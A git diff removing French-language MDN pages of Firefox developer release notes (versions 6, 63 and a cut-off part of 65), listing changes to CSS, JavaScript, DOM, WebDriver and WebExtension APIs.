  • Avant, il était possible d'utiliser l'opérateur new sur plusieurs fonctions natives (eval, parseInt, Date.parse, etc) ce qui, conformément à la spécification, n'était pas autorisé. Désormais ce comportement n'est plus supporté. Cette façon d'utiliser l'opérateur new n'a jamais été officiellement supportée et était peu utilisée, donc il est peu probable que ce changement vous affecte.
    • -
  • ECMAScript Harmony WeakMaps a été ajouté en tant que prototype.
    • -
- -

SVG

- -
    -
  • L'attribut pathLength est désormais supporté.
    • -
  • Les modèles SVG, les dégradés et les filtres fonctionnent désormais correctement lorsqu'ils sont chargés à partir de data: URLs.
    • -
- -

MathML

- -
    -
  • L'implémentation de <mstyle> a été corrigée.
    • -
- -

Accessibilité (ARIA)

- -
    -
  • Un événement de changement d'état est à présent correctement envoyé lors d'un changement de la valeur de aria-busy.
    • -
  • Un événement de changement d'attribut est à présent correctement envoyé lorsque survient aria-sort.
    • -
- -

Réseau

- -
-
WebSockets
-
Pour Firefox 6, WebSockets a été mis à jour à la version 07 du protocole. De plus, l'objet WebSocket a été renommé en MozWebSocket pour l'empêcher d'être utilisé de façon incorrecte pour détecter la disponibilité des WebSockets sans préfixe.
-
- -
    -
  • L'analyse de l'en-tête Content-Disposition a été fixée afin d'interpréter correctement les antislashs des caractères ASCII. Auparavant, il été remplacé par le caractère underscore ("_").
    • -
  • La valeur du champ du chemin de l'en-tête Set-Cookie est désormais correctement interprétée lors de l'utilisation de guillements, auparavant, ils étaient considérés comme faisant partie de la chaîne du chemin d'accès à la place d'être des délimiteurs. Ce changement peut affecter la compatibilité avec certains sites web, les auteurs doivent vérifier leur code.
    • -
  • L'en-tête de la requête Upgrade est désormais supporté, vous pouvez demander la mise à niveau d'un canal vers un autre protocole HTTP en appelant nsIHttpChannelInternal.HTTPUpgrade().
    • -
- -

Autres changements

- -
    -
  • Le support des microrésumés a été enlevé, ils n'ont jamais été très utilisés, n'étaient pas très détectable et continuer leur support été d'apporter des améliorations à Places (favoris et historique) à l'architecture difficile.
    • -
  • WebGL supporte maintenant l'extension OES_texture_float.
    • -
  • Le nouvel outil Ardoise offre un endroit pratique pour expérimenter du code JavaScript.
    • -
  • La méthode console.trace() a été ajouté à ConsoleAPI (voir bug 585956).
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Pour des conseils utiles sur la mise à jour des extensions pour Firefox 6, voir Updating add-ons for Firefox 6.

- -
Note: Firefox 6 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
- -

Modules de code JavaScript

- -

FileUtils.jsm

- -
    -
  • La méthode openSafeFileOutputStream() ouvre maintenant les fichiers avec l'indicateur de comportement DEFER_OPEN au lieu d'essayer de les ouvrir immédiatement.
    • -
- -

XPCOMUtils.jsm

- -
    -
  • La nouvelle méthode importRelative() vous permet de charger un module de code JavaScript depuis un chemin relatif au chemin d'un autre module de code JavaScript. Cela rend plus facile la construction de modules qui dépendent les uns des autres.
    • -
- -

XPCOM

- - - -

Utilisation du DOM depuis le chrome

- -
-
Utilisation de l'API DOM File dans du code chrome
-
Bien que vous avez toujours pu utiliser l'API DOM File à partir du code chrome, le constructeur File supporte désormais la spécification d'un chemin d'accès local lorsqu'il est utilisé depuis le chrome. De plus, vous pouvez également spécifier le fichier pour accéder à l'aide de l'API DOM File en utilisant un objet nsIFile.
-
- -

Changements dans les interfaces

- -
    -
  • nsINavHistoryQueryOptions supporte désormais le tri par orde de frecency à l'aide des nouvelles constantes SORT_BY_FRECENCY_ASCENDING et SORT_BY_FRECENCY_DESCENDING.
    • -
  • nsIFilePicker a un nouvel attribut nsIFilePicker.addToRecentDocs, qui vous permet d'indiquer que le fichier sélectionné doit être ajoutée à la liste "documents récents" de l'utilisateur si il y en a une. Cet attribut n'a aucun effet en mode navigation privée.
    • -
  • Les méthodes de nsINavBookmarkObserver avec les paramètres ID d'un élément exigent désormais un GUID.
    • -
  • nsIPrefBranch.clearUserPref() ne génère plus d'exception si la préférence spécifié n'existe pas ou n'a pas de valeur définie par l'utilisateur. Désormais, il ne fait rien.
    • -
  • L'interface nsIMemoryReporter prend désormais en charge l'indication du type de mémoire qui est décrite (mappée, heap, ou autre).
    • -
  • L'attribut stateData de nsISHEntry renvoi désormais à nsIStructuredCloneContainer.
    • -
  • nsIURI a un nouvel attribut nsIURI.ref, qui renvoie la partie de référence (la partie après le "#") de l'URI. Il y a également de nouvelles méthodes nsIURI.cloneIgnoringRef() qui clone nsIURI sans l'élément ref et nsIURI.equalsExceptRef() qui se compare à un autre nsIURI en ignorant l'élément ref.
    • -
- -

Nouvelles interfaces

- -
-
mozIAsyncFavicons
-
Un nouveau service qui vous permet d'accéder au service favicon de façon asynchrone.
-
nsIEventSource
-
Détails à venir.
-
nsIGSettingsCollection
-
Détails à venir.
-
nsIGSettingsService
-
Détails à venir.
-
nsIHttpUpgradeListener
-
L'interface de rappel pour le traitement des demandes de mise à niveau HTTP via la méthode nsIHttpChannelInternal.HTTPUpgrade().
-
nsIStructuredCloneContainer
-
Un conteneur pour les objets qui ont été sérialisé à l'aide de l'algorithme de clonage structuré.
-
nsITelemetry
-
Implémentation du support de la télémétrie permettant d'enregistrer des données de télémétrie pour être utilisé pour présenter des histogrammes à des fins de suivi des performances. Voir bug 649502 et bug 585196.
-
nsITimedChannel
-
Voir bug 576006.
-
nsIWebSocketListener
-
Voir bug 640003.
-
nsIWebSocketProtocol
-
Voir bug 640003.
-
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

- - - -

Autres changements

- -
-
Utilisation des préférences à partir du code d'application
-
Une nouvelle API statique est disponible pour accéder facilement aux préférences, ce n'est disponible que pour le code d'application et ne peut pas être utilisé par les modules complémentaires.
-
- -

Voir également

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/63/index.html b/files/fr/mozilla/firefox/versions/63/index.html deleted file mode 100644 index 06ad714a2a..0000000000 --- a/files/fr/mozilla/firefox/versions/63/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: Firefox 63 for developers -slug: Mozilla/Firefox/Versions/63 -tags: - - '63' - - Firefox - - Mise à jour - - Mozilla -translation_of: Mozilla/Firefox/Releases/63 ---- -
{{FirefoxSidebar}}
- -

Cet article fournit des informations à propos des changements dans Firefox 63 qui affecteront les développeurs. Firefox 63 a été publié le 23 octobre 2018.

- -

Changements pour les développeurs web

- -

Outils de développeurs

- -
    -
  • L'onglet Polices dans la page de l'Inspecteur inclus maintenant un éditeur facilitant la visualisation et l'édition des paramètres des polices sur votre page. Voir l'édition des polices pour plus d'informations.
    • -
  • L'Inspecteur d'Accessibilité est maintenant activé par défaut ({{bug(1482454)}}).
    • -
  • Lorsque vous survolez un objet dans l'Inspecteur d'Accessibilité, l'élément est mis en évidence et son rôle et nom seront affichés dans une barre d'information dans la page ({{bug(1473030)}}).
    • -
  • La ligne de commande dans la Console Web est maintenant immédiatement affichée après le flux de sortie de la console ({{bug(1136299)}}).
    • -
  • Une nouvelle icône a été ajouté au contenu dans le Moniteur Réseau indiquant si une URL appartient à un trackeur connu — voir les Icônes de Sécurité ({{bug(1333994)}}).
    • -
  • La valeur par défaut de devtools.aboutdebugging.showSystemAddons est maintenant false, ce qui signifie que le système d'add-ons ne sera plus listé dans la page about:debugging. Vous pouvez changer les paramètres en vous rendant sur la page about:config ({{bug(1425347)}}).
    • -
  • La barre d'outils du Mode Responsive Design a été simplifiée, et nous avons ajouté une option pour aligner la vue à gauche.
    • -
  • L'Inspecteur inclus un lien vers la définition de la classe pour un élément personnalisé. ({{bug(1443923)}}).
    • -
- -

HTML

- -
    -
  • Ajout du support pour l'attribut decoding de l'élément {{HTMLElement("img")}} ({{bug(1416328)}}); Voir aussi {{DOMxRef("HTMLImageElement.decoding")}}.
    • -
- -

Suppressions

- -
    -
  • Le lien de type sidebar (rel="sidebar") n'est plus supporté. Si une ancre contient cet attribut, elle sera ignorée ({{bug(1452645)}}).
    • -
- -

CSS

- -
    -
  • Support for the {{CSSxRef(":defined")}} pseudo-class has been added ({{bug(1331334)}}).
    • -
  • Support for {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}} and {{CSSxRef("gap")}} has been added in Flexbox layout ({{bug(1398483)}}).
    • -
  • Re-enabled support for webkit-prefixed pixel-density @media queries ({{bug(1444139)}}).
    • -
  • Support added for the CSS Flexible Box Layout (Flexbox) properties {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, and {{CSSxRef("align-items")}} as well as the {{CSSxRef("justify-content")}} property ({{bug(1472843)}}).
    • -
  • Implemented the path() function for {{CSSxRef("offset-path")}} ({{bug(1429298)}}).
    • -
  • Implemented syntax improvements from the Media Queries Level 4 specification ({{bug(1472843)}}).
    • -
  • Renamed offset-* properties to {{CSSxRef("inset-block-start")}}, {{CSSxRef("inset-block-end")}}, {{CSSxRef("inset-inline-start")}}, and {{CSSxRef("inset-inline-end")}} ({{bug(1464782)}}).
    • -
  • Added support for the prefers-reduced-motion media feature ({{bug(1365045)}}, {{bug(1475462)}}).
    • -
  • Added flow relative values (block, inline) for the {{CSSxRef("resize")}} property ({{bug(1464786)}}).
    • -
  • Implemented flexbox layout for safe & unsafe values in {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, and {{CSSxRef("justify-content")}} ({{bug(1297774)}}).
    • -
  • The logical properties (where appropriate) are now animatable ({{bug(1309752)}}).
    • -
- -

Suppressions

- -
    -
  • Removed offset-block-start, offset-block-end, offset-inline-start and offset-inline-end; these have been renamed to inset-*, as described above ({{bug(1464782)}}).
    • -
- -

SVG

- -

Aucun changement.

- -

JavaScript

- -
    -
  • The {{JSxRef("Symbol.prototype.description")}} property has been implemented ({{bug(1472170)}}).
    • -
  • The {{JSxRef("Object.fromEntries()")}} method has been added ({{bug(1469019)}}).
    • -
  • When you try to access a property of an undefined object, the error message is now much improved. Considering the case where x is undefined and you try to access x.y, instead of TypeError: x is undefined the console now returns the more descriptive x is undefined; can't access its "y" property ({{bug(1259822)}}).
    • -
- -

Suppressions

- -
    -
  • Experimental WebAssembly Module IndexedDB serialization support has been removed ({{bug(1469395)}}).
    • -
- -

APIs

- -

Nouvelles APIs

- -
    -
  • The Shadow DOM ({{bug(1471947)}}) and Custom Elements ({{bug(1471948)}}) APIs have been enabled by default; See Web components for more details.
    • -
  • The {{domxref("Media_Capabilities_API", "Media Capabilities API", "", "1")}} been implemented ({{bug(1409664)}}).
    • -
  • The {{domxref("Clipboard", "Async Clipboard API", "", "1")}} has been implemented and enabled by default for all channels ({{bug(1461465)}}). As is the case with Chrome, Firefox currently implements only the {{domxref("Clipboard.writeText", "writeText()")}} and {{domxref("Clipboard.readText", "readText()")}} methods; however, unlike Chrome, readText() is only available in browser extensions.
    • -
  • The {{DOMxRef("SecurityPolicyViolationEvent")}} interface is now supported. It allows sending events when the {{HTTPHeader("Content-Security-Policy")}} is violated ({{bug(1472661)}}).
    • -
- -

DOM

- -
    -
  • The following portions of the {{domxref("Web_Animations_API", "Web Animations API", "", "1")}} have been enabled by default (see {{bug(1476158)}}): -
      -
    • The {{DOMxRef("Animation")}} properties {{DOMxRef("Animation.ready", "ready")}} and {{DOMxRef("Animation.finished", "finished")}}, specifying the Animation object's ready and finished {{JSxRef("Promise")}}s.
      • -
    • The {{DOMxRef("Animation")}} object's {{DOMxRef("Animation.effect", "effect")}} property.
      • -
    • The interfaces {{DOMxRef("KeyframeEffect")}} and {{DOMxRef("AnimationEffect")}}.
      • -
    -
    • -
  • The {{DOMxRef("Element.toggleAttribute()")}} method has been implemented ({{bug(1469592)}}).
    • -
  • The historical, previously non-standard, {{DOMxRef("Event.returnValue")}} property is now supported for compatibility purposes ({{bug(1452569)}}).
    • -
  • We implemented the {{DOMxRef("Window.event")}} property to improve web compatibility, now that it's become standard ({{bug(218415)}}).
    • -
  • To bring Firefox into alignment with Edge and Chrome, the {{DOMxRef("NavigatorID.platform", "navigator.platform")}} property now returns "Win32" even when running on 64-bit Windows ({{bug(1472618)}}).
    • -
  • Prior to Firefox 63, links that open new windows that had rel="noopener", as well as calls to {{DOMxRef("Window.open()")}} with the noopener window feature enabled would default to having all window features disabled, so that you had to explicitly re-enable any standard features you wanted. Now these windows have the same set of features enabled as any other window, and you need to explicitly turn off any you don't want ({{bug(1419960)}}).
    • -
- -

Evénements du DOM

- -
    -
  • Handling of the Alt key on the right side of the keyboard has been improved on Windows. If the user's current keyboard layout maps the Alt key to the AltGr modifier key, the value of {{DOMxRef("KeyboardEvent.key")}} is now reported as "AltGraph". This behavior matches the behavior recently introduced in Chrome ({{bug(900750)}}).
    • -
- -

Media, Web Audio, et WebRTC

- -
    -
  • Microphone access now works simultaneously in multiple tabs, even within the same content process ({{bug(1404977)}}).
    • -
  • {{DOMxRef("RTCDataChannel")}} has been updated to support the sctp-sdp-21 data format for the data, in addition to the older sctp-sdp-05 format previously supported.
    • -
  • The {{DOMxRef("ConstantSourceNode")}} node type for Web Audio API now has a default channel count of 2 rather than 1, in order to match the specification ({{bug(1413283)}}).
    • -
  • The {{domxref("Web_Audio_API", "Web Audio API", "", "1")}} interface {{DOMxRef("AudioScheduledSourceNode")}} (and by extension, all the other node types based on it) now throw the correct exception when a negative value is specified for the node start time. That error is RangeError ({{bug(1413284)}}).
    • -
  • The minimum and maximum permitted values for an {{DOMxRef("AudioParam")}} object's {{DOMxRef("AudioParam.value", "value")}} have been changed to the minimum negative single-precision floating-point value (-340,282,346,638,528,859,811,704,183,484,516,925,440) and the maximum positive single-precision floating-point value (+340,282,346,638,528,859,811,704,183,484,516,925,440) respectively ({{bug(1476695)}}).
    • -
  • The {{DOMxRef("SourceBuffer.changeType")}} method, which allows you to change codecs during an active stream, has been enabled by default. This is part of the {{domxref("Media_Source_Extensions_API", "Media Source Extensions API", "", "1")}} ({{bug(1481166)}}).
    • -
  • The {{DOMxRef("AudioParam.setValueCurveAtTime()")}} method has been updated to correctly accept an array of floating-point values to indicate the parameter's values to change to over time. Previously, it required a {{DOMxRef("Float32Array")}} ({{bug(1421091)}}).
    • -
  • {{DOMxRef("AudioParam.setValueCurveAtTime()")}} has also been updated to correctly return a proper TypeError when a non-finite value is found in the values array ({{bug(1472095)}}).
    • -
  • In addition, setValueCurveAtTime() has been updated to ensure that, when the parameter finishes following the specified value curve after the duration elapses, the value of the parameter is set to the last value in the list of values to curve through ({{bug(1308436)}}).
    • -
  • The RTCRTPStreamStats dictionary has been renamed to {{DOMxRef("RTCRtpStreamStats")}} for consistency with other WebRTC dictionaries and the specification ({{bug(1480498)}}).
    • -
  • Support for the RTCRtpStreamStats dictionary's {{DOMxRef("RTCRtpStreamStats.kind", "kind")}} property has been added ({{bug(1481851)}}).
    • -
  • The {{DOMxRef("RTCRtpStreamStats")}} dictionary's {{DOMxRef("RTCRtpStreamStats.isRemote", "isRemote")}} property is deprecated and will be removed in Firefox 65. A warning is now output to console when this property is accessed. See this blog post on the Advancing WebRTC blog for details ({{bug(1393306)}}).
    • -
- -

Canvas et WebGL

- -
    -
  • A new powerPreference context attribute has been added to {{DOMxRef("HTMLCanvasElement.getContext()")}}. On macOS this allows WebGL non-performance-critical applications and applets to request the low-power GPU instead of the high-power GPU in multi-GPU systems ({{bug(1349799)}}).
    • -
- -

Suppressions

- -
    -
  • The obsolete and non-standard Firefox-only methods {{DOMxRef("Window.back()")}} and {{DOMxRef("Window.forward()")}} have been removed. Please use the {{DOMxRef("History.back", "window.history.back()")}} and {{DOMxRef("History.forward", "window.history.forward()")}} methods instead ({{bug(1479486)}}).
    • -
  • The {{DOMxRef("URL.createObjectURL", "createObjectURL()")}} and {{DOMxRef("URL.revokeObjectURL", "revokeObjectURL()")}} methods are no longer available on {{DOMxRef("ServiceWorker")}} instances due to the potential they introduced for memory leaks to occur ({{bug(1264182)}}).
    • -
  • Since it was deprecated in the specification anyway, the limited support for Doppler effects on {{DOMxRef("PannerNode")}} has been removed from the Web Audio API. The {{DOMxRef("AudioListener")}} properties {{DOMxRef("AudioListener.dopplerFactor", "dopplerFactor")}} and {{DOMxRef("AudioListener.speedOfSound", "speedOfSound")}} have been removed, along with the PannerNode method {{DOMxRef("PannerNode.setVelocity", "setVelocity()")}} ({{bug(1148354)}}).
    • -
- -

CSSOM

- -

Aucun changement.

- -

HTTP

- -
    -
  • The {{HTTPHeader("Clear-Site-Data")}} header is implemented and no longer behind a preference ({{bug(1470111)}}).
    • -
- -

Sécurité

- -
    -
  • Site favicons are now subject to Content Security Policy, if one is configured for the site ({{bug(1297156)}}).
    • -
  • CSP script-src directive's 'report-sample' expression now recognized when generating violation reports. This directive indicates that a short sample of where the violation occurred should be included in the report. Previously, Firefox always included this sample ({{bug(1473218)}}).
    • -
  • Firefox now uses NSS 3.39 ({{bug(1470914)}}).
    • -
- -

Plugins

- -

Aucun changement.

- -

Conformités WebDriver (Marionette)

- -

Nouvelles fonctionnalités

- -
    -
  • Marionette now returns a setWindowRect capability in the WebDriver:NewSession response that is true if the browser window can be repositioned and resized, which e.g. is the case for Firefox but not any mobile applications ({{bug(1470659)}}).
    • -
  • Added support for the unhandledPromptBehavior capability, which allows to define a specific prompt behavior of the WebDriver specification ({{bug(1264259)}}).
    • -
  • Handling of user prompts has been added to the WebDriver:ExecuteScript and WebDriver:ExecuteAsyncScript commands ({{bug(1439995)}}).
    • -
- -

Changements API

- -
    -
  • Deprecated command end-points without the WebDriver: prefix have been removed ({{bug(1451725)}}).
    • -
  • The WebDriver:NewSession command returns recommended strings (linux, mac, windows) for platformName as defined in the WebDriver specification ({{bug(1470646)}}).
    • -
- -

Corrections de bugs

- -
    -
  • Focus related events were missing on element interaction when Firefox was not running as the top-most application ({{bug(1398111)}}).
    • -
  • Performing a pointerDown and pointerUp action in a subsequent action sequence could trigger a double click because WebDriver:ReleaseActions didn't reset the double click tracker ({{bug(1422583)}}).
    • -
  • Executing pause actions repeatedly could cause an infinite hang ({{bug(1447449)}}).
    • -
  • Fixed a bug where returning an element collection from WebDriver:ExecuteScript and WebDriver:ExecuteAsyncScript would cause a cyclic reference error ({{bug(1447977)}}).
    • -
  • To prevent a race condition both the WebDriver:AcceptAlert and WebDriver:DismissAlert commands now wait until the user prompt has been closed ({{bug(1479368)}}).
    • -
  • Log entries as emitted by the frame script were no longer limited by MarionettePrefs.logLevel but logged everything ({{bug(1482829)}}).
    • -
  • WebDriver:TakeScreenshot raised an error when taking a screenshot of a window larger than 32767 pixels in width or height ({{bug(1485730)}}).
    • -
  • WebDriver:SendAlertText didn't replace default user prompt value if text to send is an empty string ({{bug(1486485)}}).
    • -
- -

Autre

- -
    -
  • Corrected the behavior of {{DOMxRef("PerformanceObserver.observe()")}} to simply do nothing if no valid entry types are found in the specified array of entry types to observe, or if the array is empty or missing. Previously, Firefox was incorrectly throwing a TypeError ({{bug(1403027)}}).
    • -
  • In OpenSearch, Firefox now accepts application/json as a search URL type, as an alias of application/x-suggestions+json ({{bug(1425827)}}).
    • -
- -

Changements des add-on développeurs

- -

Changements API

- -

Thèmes

- -
    -
  • The default text color for {{WebExtAPIRef("browserAction")}} badges is now automatically set to black or white, to maximise contrast with the background ({{bug(1474110)}}).
    • -
  • The accentcolor and textcolor properties of the theme manifest key are now optional ({{bug(1413144)}}).
    • -
  • {{WebExtAPIRef("browserAction.getBadgeTextColor()")}} and {{WebExtAPIRef("browserAction.setBadgeTextColor()")}} enable you to get and set the text color of browser action badges ({{bug(1424620)}}).
    • -
  • The theme colors key in manifest.json now supports the ntp_text property to set the text color in a new tab, and the ntp_background property to set the color of a new tab ({{bug(1347204)}}).
    • -
  • Themes can now define the colors for sidebars, such as the bookmarks sidebar ({{bug(1418602)}}). The relevant properties include: -
      -
    • sidebar: The background color for sidebars.
      • -
    • sidebar_text: The text color for sidebars.
      • -
    • sidebar_highlight: The background color of a selected item in a sidebar.
      • -
    • sidebar_highlight_text: The text color of a selected item in a sidebar.
      • -
    -
    • -
  • The method {{WebExtAPIRef("management.install()")}} allows web extensions to install and enable signed browser themes ({{bug(1369209)}}).
    • -
- -

Recherche

- -
    -
  • The new {{WebExtAPIRef("search")}} API enables you to retrieve the list of installed search engines and perform searches with them ({{bug(1352598)}}).
    • -
  • {{WebExtAPIRef("topSites.get()")}} now takes an options parameter enabling you to set various options for the list of sites returned ({{bug(1445836)}}).
    • -
- -

Onglets

- -
    -
  • {{WebExtAPIRef("tabs.onHighlighted")}} now supports multi-select ({{bug(1474440)}}).
    • -
  • {{WebExtAPIRef("tabs.highlight")}} now includes an optional field in the highlightInfo object — populate — which defaults to true. Setting it to false prevents the returned windows.Window object from being populated with a list of tabs, to improve performance ({{bug(1489814)}}).
    • -
  • {{WebExtAPIRef("tabs.update")}} now supports changing the selection status of a tab by including highlighted: true in the updateProperties parameter ({{bug(1479129)}}).
    • -
  • {{WebExtAPIRef("tabs.update")}} supports changing the selection status of a tab without changing the focused tab ({{bug(1486050)}}) by including both highlighted: true and active: false in the updateProperties parameter.
    • -
  • {{WebExtAPIRef("tabs.query")}} now returns an array of {{WebExtAPIRef("tabs.Tab")}} objects if multiple tabs are selected ({{bug(1465170)}}).
    • -
  • The {{WebExtAPIRef("tabs.Tab")}} property now properly reflects which tabs in a browser window are selected (highlighted) and {{WebExtAPIRef("tabs.highlight")}} supports changing the highlighted status of multiple tabs ({{bug(1464862)}}).
    • -
  • The isarticle property in the extraParameters object passed into {{WebExtAPIRef("tabs.onUpdated")}} has been renamed to isArticle. The old name is retained but deprecated. This change was uplifted to Firefox 62 ({{bug(1461695)}}).
    • -
  • The {{WebExtAPIRef('tabs.onUpdated')}} event can be used to track when a tab is drawing the user's attention with attention property of the changeInfo object ({{bug(1396684)}}).
    • -
- - - -
    -
  • Added {{WebExtApiRef("menus.getTargetElement()")}} to the {{WebExtApiRef("menus")}} API. The method returns the clicked on element referenced by the targetElementId parameter ({{bug(1325814)}}).
    • -
  • {{WebExtAPIRef("menus.create()")}} now enables you to create invisible menu items, and {{WebExtAPIRef("menus.update()")}} enables you to toggle menu item visibility ({{bug(1482529)}}).
    • -
  • Items created using the {{WebExtAPIRef("menus")}} API now support access keys ({{bug(1320462)}}).
    • -
  • The targetUrlPatterns parameter of {{WebExtApiRef("menus.create()")}} and {{WebExtApiRef("menus.update()")}} now supports any URL scheme, even those that are usually not allowed in a match pattern ({{bug(1280370)}}).
    • -
- -

Autre

- -
    -
  • {{WebExtAPIRef("commands.onCommand")}} is now treated as user input ({{bug(1408129)}}).
    • -
  • The {{WebExtAPIRef("webRequest")}} API now enables you to filter for speculative connections ({{bug(1479565)}}).
    • -
  • {{WebExtAPIRef("webRequest.SecurityInfo")}} adds two new properties, keaGroupName and signatureSchemeName. This change was uplifted to Firefox 62 ({{bug(1471959)}}).
    • -
  • {{WebExtAPIRef("cookies.Cookie")}} now includes a property indicating the SameSite state of the cookie. The {{WebExtAPIRef("cookies.SameSiteStatus")}} enumeration defines SameSite state values ({{bug(1351663)}}).
    • -
  • Match patterns for URLs now explicitly match the "data" URL scheme ({{bug(1280370)}}).
    • -
- -

Voir aussi

- - - -

Anciennes versions

- -

{{Firefox_for_developers(62)}}

diff --git a/files/fr/mozilla/firefox/versions/65/index.html b/files/fr/mozilla/firefox/versions/65/index.html deleted file mode 100644 index 98979a74b9..0000000000 --- a/files/fr/mozilla/firefox/versions/65/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Firefox 65 pour développeurs -slug: Mozilla/Firefox/Versions/65 -translation_of: Mozilla/Firefox/Releases/65 ---- -
{{FirefoxSidebar}}
- -

Cet article fournit des informations au sujet de changements introduits dans Firefox 65 qui vont concerner les développeurs. Firefox 65 a été publié le 29 janvier 2019.

- -

Changes for web developers

- -

Outils de développement

- -
    -
  • L'Inspecteur Flexbox est activé par défaut.
    • -
  • Le support des Breakpoints XHR a été ajouté au JavaScript Debugger ({{bug(821610)}}).
    • -
  • Clic-droit sur un objet de l'arbre d'accessibilité à partir de la vue d'Accessibilité pour Imprimer en tant que Json dans la vue JSON.
    • -
  • The color contrast display of the Accessibility Picker has been updated so that if a text's background is complex (e.g. a gradient or complex image), it shows a range of color contrast values.
    • -
  • The Headers tab of the Network Monitor now displays the Referrer Policy for the selected request ({{bug(1496742)}}).
    • -
  • When displaying stack traces (e.g. in console logs or the JavaScript debugger), calls to framework methods are identified and collapsed by default, making it easier to home in on your code.
    • -
  • In the same fashion as native terminals, you can now use reverse search to find entries in your JavaScript console history (F9 on Windows/Linux or Ctrl + R on macOS, then type a search term, followed by Ctrl + R/Ctrl + S to toggle through results).
    • -
  • The JavaScript console's $0 shortcut (references the currently inspected element on the page) now has autocomplete available, so for example you could type $0.te to get autocomplete suggestions for properties like $0.textContent.
    • -
  • The edits you make in the Rules view of the Inspector are now listed in the Changes panel ({{bug(1503920)}}).
    • -
- -

HTML

- -
    -
  • Events are now dispatched on disabled HTML elements, i.e. {{htmlelement("button")}}, {{htmlelement("fieldset")}}, {{htmlelement("input")}}, {{htmlelement("select")}}, and {{htmlelement("textarea")}} elements with disabled attributes set on them ({{bug(329509)}}).
    • -
  • Removing the src attribute of an {{htmlelement("iframe")}} element now causes about:blank to be loaded into it, giving it parity with Chrome and Safari ({{bug(1507842)}}). Previously removing src had no effect on the iframe content.
    • -
  • We have added support for the {{htmlattrxref("referrerpolicy", "script")}} attribute on {{htmlelement("script")}} elements ({{bug(1460920)}}).
    • -
- -

CSS

- -
    -
  • The {{cssxref("image-rendering")}} property's crisp-edges value has now been unprefixed ({{bug(1496617)}}).
    • -
  • A {{cssxref("scrollbar-color")}} value of auto now resolves to auto, rather than two colors ({{bug(1501418)}}).
    • -
  • The break-* properties have been implemented, and the legacy page-break-* properties have been aliased to them ({{bug(775618)}}): -
      -
    • {{cssxref("break-before")}} is now an alias for {{cssxref("page-break-before")}}.
      • -
    • {{cssxref("break-after")}} is now an alias for {{cssxref("page-break-after")}}.
      • -
    • {{cssxref("break-inside")}} is now an alias for {{cssxref("page-break-inside")}}.
      • -
    -
    • -
  • The {{cssxref("overflow-wrap")}} property's anywhere value has been implemented ({{bug(1505786)}}).
    • -
  • The new step position keywords jump-start, jump-end, jump-none, and jump-both — usable inside the steps() timing function — have been implemented ({{bug(1496619)}}). This also coincides with the removal of the frames() timing function, which was the previous way of implementing such functionality, now deprecated.
    • -
  • Some new {{cssxref("appearance", "-webkit-appearance")}} values have been added, for compatibility with other browsers. In particular: -
      -
    • meter, which is now used as the default value for {{htmlelement("meter")}} elements in UA stylesheets. the existing value meterbar is now an alias for meter ({{bug(1501483)}}).
      • -
    • progress-bar, which is now used as the default value for {{htmlelement("progress")}} elements in UA stylesheets. the existing value progressbar is now an alias for progress-bar ({{bug(1501506)}}).
      • -
    • textarea, which is now used as the default value for {{htmlelement("textarea")}} elements in UA stylesheets. the existing value textfield-multiline is now an alias for textarea ({{bug(1507905)}})
      • -
    -
    • -
  • The behavior of {{cssxref("user-select")}} has been changed to make it align more with other browsers ({{bug(1506547)}}). Specifically: -
      -
    • user-select: all set on an element no longer overrides other values of user-select set on children of that element. So for example in the following snippet: - 
      <div style="-webkit-user-select: all">All
-  <div style="-webkit-user-select: none">None</div>
-</div>
      - The <div> with none set on it is now non-selectable. Previously this value would have been overriden by the all value set on the parent element.
      • -
    • non-contenteditable elements nested inside contenteditable elements  are now selectable.
      • -
    • user-select now behaves consistently inside and outside shadow DOM.
      • -
    • The proprietary -moz-text value has been removed.
      • -
    -
    • -
  • CSS environment variables (the {{cssxref("env")}} function) have been implemented ({{bug(1462233)}}).
    • -
- -

Removals

- -
    -
  • The layout.css.shape-outside.enabled pref has been removed; {{cssxref("shape-outside")}}, {{cssxref("shape-margin")}}, and {{cssxref("shape-image-threshold")}} can no longer be disabled in about:config ({{bug(1504387)}}).
    • -
  • Several Firefox-only values of the {{cssxref("user-select")}} property have been removed — -moz-all, -moz-text, tri-state, element, elements, and toggle. See {{bug(1492958)}} and {{bug(1506547)}}.
    • -
  • As mentioned above, the frames() timing function has been removed ({{bug(1496619)}}).
    • -
- -

SVG

- -

No changes.

- -

JavaScript

- -
    -
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} is now supported ({{bug(1504334)}}).
    • -
  • Strings now have a maximum {{jsxref("String/length","length","","1")}} of 2**30 - 2 (~1GB) instead of 2**28 - 1 (~256MB) ({{bug(1509542)}}).
    • -
  • The {{jsxref("globalThis")}} property, which always refers to the top-level global object, has been implemented ({{bug(1317422)}}).
    • -
- -

APIs

- -

New APIs

- -
    -
  • {{domxref("Streams_API/Using_readable_streams", "Readable Streams", "", "1")}} have been enabled by default ({{bug(1505122)}}).
    • -
  • The {{domxref("Storage_Access_API", "Storage Access API", "", "1")}} has been enabled by default ({{bug(1513021)}}).
    • -
- -

DOM

- -
    -
  • {{domxref("Performance.toJSON()")}} has been exposed to {{domxref("Web_Workers_API", "Web Workers", "", "1")}} ({{bug(1504958)}}).
    • -
  • {{domxref("XMLHttpRequest")}} requests will now throw a NetworkError if the requested content type is a Blob, and the request method is not GET ({{bug(1502599)}}).
    • -
  • The -moz- prefixed versions of many of the {{domxref("Fullscreen API", "", "", "1")}} features have been deprecated, and will now display deprecation warnings in the JavaScript console when encountered ({{bug(1504946)}}).
    • -
  • {{domxref("WindowOrWorkerGlobalScope.createImageBitmap", "createImageBitmap()")}} now supports SVG images ({{domxref("SVGImageElement")}}) as an image source ({{bug(1500768)}}).
    • -
- -

DOM events

- - - -

Web workers

- -
    -
  • {{domxref("SharedWorkerGlobalScope.onconnect")}}'s event object is a {{domxref("MessageEvent")}} instance — its data property is now an empty string value rather than null ({{bug(1508824)}}).
    • -
- -

Fetch and Service workers

- -
    -
